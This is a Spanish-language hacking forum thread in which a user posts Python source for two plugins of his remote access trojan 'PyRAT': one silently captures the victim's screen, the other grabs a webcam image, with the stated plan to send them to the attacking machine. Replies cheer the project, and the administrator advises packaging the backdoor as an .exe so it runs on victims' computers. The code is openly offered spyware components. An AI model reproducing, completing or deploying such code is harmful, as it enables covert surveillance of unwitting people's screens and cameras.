comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Screenshot y WebcamCapture (proyecto PyRAT)

  • 4 Respuestas
  • 1697 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Noviembre 06, 2013, 03:16:19 pm »
Bueno Gente! De a poco sigo con todo esto. En esta ocasión les dejo 2 plugins que tengo preparados para añadir a mi simple pero querido PyRAT.

screenshot.py
Código: Python
  1. #!/usr/bin/env python
  2. #-*- encoding:utf-8 -*-
  3. # screenshot.py
  4.  
  5. from PyQt4.QtGui import QApplication, QPixmap
  6. from os import environ, mkdir, listdir
  7. from sys import argv
  8. from time import strftime, gmtime
  9.  
  10. class Screenshot(object):
  11.         def __init__(self):  
  12.                 self.usuario = environ['USER']
  13.                 if not 'screenshot' in listdir('./'):
  14.                         mkdir('screenshot')
  15.  
  16.         def capturarPantalla(self):
  17.                 time = strftime("%d %b %Y_%H:%M:%S", gmtime())
  18.                 imagen = './screenshot/' + self.usuario + '_' + time + '.png'
  19.  
  20.                 app = QApplication(argv)
  21.                 winId = QApplication.desktop().winId()
  22.                 width = QApplication.desktop().screenGeometry().width()
  23.                 height = QApplication.desktop().screenGeometry().height()
  24.  
  25.                 captura = QPixmap.grabWindow(winId, 0, 0, width, height)
  26.  
  27.                 captura.save(imagen)
  28.  
  29. def main():
  30.         ss = Screenshot()
  31.         ss.capturarPantalla()
  32.  
  33. if __name__ == '__main__':
  34.         main()

webcamCapture.py
Código: Python
  1. #!/usr/bin/env python
  2. #-*- encoding:utf-8 -*-
  3. # webcamCapture.py
  4.  
  5. from pygame.image import save
  6. import pygame.camera as camera
  7. from os import environ, mkdir, listdir
  8. from time import strftime, gmtime
  9.  
  10. class WebcamCapture(object):
  11.         def __init__(self):
  12.  
  13.                 camera.init()
  14.                 misWebcams = camera.list_cameras()
  15.  
  16.                 if len(misWebcams) == 0:
  17.                         raise Exception('No hay webcam disponible.')
  18.                         exit()
  19.  
  20.                 elif len(misWebcams) == 1:
  21.                         self.miWebcam = misWebcams[0]
  22.  
  23.                 else:
  24.                         for i in range(len(misWebcams)):
  25.                                 try:
  26.                                         self.miWebcam = misWebcams[i]
  27.                                         break
  28.                                 except:
  29.                                         continue
  30.  
  31.         def capturar(self):
  32.                 try:
  33.                         webcam = camera.Camera(self.miWebcam,(640,480))
  34.                         webcam.start()
  35.  
  36.                         self.captura = webcam.get_image()
  37.                        
  38.                         webcam.stop()
  39.                 except Exception as e:
  40.                         print e
  41.  
  42.         def guardarCaptura(self):
  43.                 self.usuario = environ['USER']
  44.  
  45.                 if not 'webcam' in listdir('./'):
  46.                         mkdir('webcam')
  47.  
  48.                 tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
  49.                 imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'
  50.  
  51.                 save(self.captura, imagen)
  52.  
  53. def main():
  54.         wcCapture = WebcamCapture()
  55.         wcCapture.capturar()
  56.         wcCapture.guardarCaptura()
  57.  
  58. if __name__ == '__main__':
  59.         main()

Espero que les sirva y que en un futuro no muy lejano lo puedan disfrutar de manera integrada a PyRAT.

NOTA: Por ahora guarda las capturas en carpetas locales. Es decir, en vez de enviarnos las capturas, crea una carpeta y las guarda ahí. Por supuesto que cuando tenga el RAT listo esto no va a suceder, sino que las capturas serán enviadas a la máquina atacante (ya veré si lo hago por ftp, por el mismo socket o ambos).

Saludos!
WhiZ
« Última modificación: Noviembre 06, 2013, 03:27:40 pm por WhiZ »


Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5401
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Noviembre 06, 2013, 03:58:13 pm »
Excelente trabajo bro! Espero que este proyecto siga creciendo!
Al ser tu un integrante del Dev-Team, Underc0de te apoyará en el emprendimiento y en el desarrollo del RAT.
Sientete libre de pedir lo que te haga falta para continuarlo.

En el blog voy a ir poniendo cada avance que tengas del proyecto para darlo a conocer!

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Felicitaciones por el proyecto!

Saludos!
ANTRAX


Desconectado Once

  • *
  • Underc0der
  • Mensajes: 391
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • El blog de Once
  • Twitter: @don_once
« Respuesta #2 en: Noviembre 06, 2013, 10:35:37 pm »
¡Ingenioso! Buen trabajo bro, me gustaría ver más de este proyecto

Saludos!






No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado variux

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Noviembre 07, 2013, 10:14:07 pm »
Una pregunta, normalmente nadie tiene python instalado en su pc (por lo menos las personas que no saben nada de informática, posibles víctimas), como haríamos para ejecutar el backdoor, solo es una duda

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5401
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #4 en: Noviembre 07, 2013, 10:21:50 pm »
Lo podes pasar a .exe

Saludos!
ANTRAX


 

¿Te gustó el post? COMPARTILO!



[Proyecto] PyDB - "Bases de Datos" fáciles en Python :: JaAViEr | 0x5d

Iniciado por JaAViEr

Respuestas: 2
Vistas: 1369
Último mensaje Julio 24, 2013, 12:14:47 am
por JaAViEr
Archivos sin uso en un proyecto

Iniciado por deni_celine

Respuestas: 3
Vistas: 1914
Último mensaje Marzo 07, 2014, 12:44:45 am
por Once
PiWI (PyRAT complemento)

Iniciado por WhiZ

Respuestas: 0
Vistas: 1081
Último mensaje Octubre 15, 2013, 12:04:03 am
por WhiZ